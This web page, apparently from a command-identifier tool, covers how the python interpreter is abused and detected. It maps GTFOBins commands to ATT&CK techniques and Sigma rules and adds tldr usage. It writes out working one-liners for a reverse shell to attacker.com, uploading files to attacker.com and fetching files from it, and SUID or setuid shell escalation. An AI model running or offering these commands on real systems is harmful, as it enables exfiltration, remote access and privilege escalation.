Ceplin Command Identifier

Identifier / Programs / Linux and Unix

python

Python language interpreter. tldr-pages

GTFOBins download, file-read, file-write, library-load, reverse-shell, shell, upload 9 Sigma rules name it 5 ATT&CK techniques 8 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How python is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-c

file-read

-c

file-write

-c

library-load

-c

reverse-shell T1059.006 Command and Scripting Interpreter: Python

-c

shell T1059.006 Command and Scripting Interpreter: Python

-c

upload

-c

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for python.

8 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo, as SUID

python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Identify

Trips no Sigma process-creation rule.

file-read unprivileged, with sudo, as SUID

python -c 'print(open("/path/to/input-file").read())'
Identify

Trips no Sigma process-creation rule.

file-write unprivileged, with sudo, as SUID

python -c 'open("/path/to/output-file","w+").write("DATA")'
Identify

Trips no Sigma process-creation rule.

library-load unprivileged, with sudo, as SUID, with capabilities

python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'
Identify

Trips no Sigma process-creation rule.

reverse-shell unprivileged, with sudo, as SUID

python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
Identify

Trips no Sigma process-creation rule.

shell unprivileged, with sudo, as SUID, with capabilities

python -c 'import os; os.execl("/bin/sh", "sh")'
Identify

As SUID:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

With capabilities:

python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

Trips no Sigma process-creation rule.

upload unprivileged, with sudo, as SUID

python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
Identify

Trips no Sigma process-creation rule.

upload unprivileged, with sudo, as SUID

python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
Identify

Trips 1 Sigma rule: mediumPython WebServer Execution - Linux by Mohamed LAKRI

1 of the 8 commands the identifier reads trips a Sigma process-creation rule; 7 trip none. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for python. The identifier reads the line of each that runs python.

What detects it

Sigma process creation rules
highPython One-Liners with Base64 Decoding - LinuxHugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems)
highInline Python Execution - Spawn Shell Via OS System LibraryLi Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
mediumSuspicious Child Process of SAP NetWeaver - LinuxElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
T1027.010Obfuscated Files or Information: Command Obfuscation
T1048.003Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
T1059Command and Scripting Interpreter
T1059.006Command and Scripting Interpreter: Python
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Start a REPL (interactive shell)

pythonIdentify

Execute a specific Python file

python path/to/file.pyIdentify

Execute a specific Python file and start a REPL

python -i path/to/file.pyIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.